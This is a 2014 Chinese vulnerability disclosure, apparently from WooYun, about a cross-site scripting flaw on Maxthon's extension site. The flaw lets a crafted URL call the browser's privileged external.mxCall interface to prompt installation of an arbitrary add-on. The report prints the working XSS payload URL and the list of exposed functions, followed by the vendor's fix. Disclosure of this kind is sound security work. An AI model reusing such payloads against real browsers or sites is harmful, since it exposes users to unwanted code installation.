傲游4.3.0.300提示安装任意插件暴露external接口

漏洞详情

披露状态:

2014-02-27: 细节已通知厂商并且等待厂商处理中
2014-02-27: 厂商已经确认,细节仅向厂商公开
2014-03-02: 细节向第三方安全合作伙伴开放
2014-03-09: 细节向核心白帽子及相关领域专家公开
2014-03-19: 细节向普通白帽子公开
2014-04-08: 细节向实习白帽子公开
2014-05-28: 细节向公众公开

简要描述:

可信域maxthon.cn下存在xss暴露external接口,遨游浏览器自身未开启任何过滤, 可以提示安装任意插件,可调用external下任意函数

详细说明:

http://extension.maxthon.cn/all/index.php?keyword=%22/%3E%3Cimg%20src=x%20onerror=%22external.mxCall%28%27InstallApp%27,%20%27http://extensiondl.maxthon.cn/skinpack/12041659/1356423316.mxaddon%27%29;%22/%3E





打开后提示安装http://extensiondl.maxthon.cn/skinpack/12041659/1356423316.mxaddon插件

漏洞证明:

external
Object {AddSearchProvider: function, IsSearchProviderInstalled: function, AddFavorite: function, addFavorite: function, searchText: function…}
AddFavorite: function (url, title) {
AddSearchProvider: function (name) {
GetPN: function () {
IsSearchProviderInstalled: function (name) {
addFavorite: function (url, title) {
max_version: (...)
get max_version: function () {
menuArguments: (...)
get menuArguments: function () {
mxCall: function (command, url) {
mxGetRuntime: function () {
mxProductName: (...)
get mxProductName: function () {
mxProductType: (...)
get mxProductType: function () {
mxVersion: (...)
get mxVersion: function () {
searchText: function (text, useMultiSearch) {
__proto__: Object

var e=external.searchText("3","3");

修复方案:

过滤该处xss

版权声明:转载请注明来源 blast@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-02-27 12:23

厂商回复:

感谢反馈

最新状态:

2014-03-05:已修复. 插件站加过滤.


漏洞评价: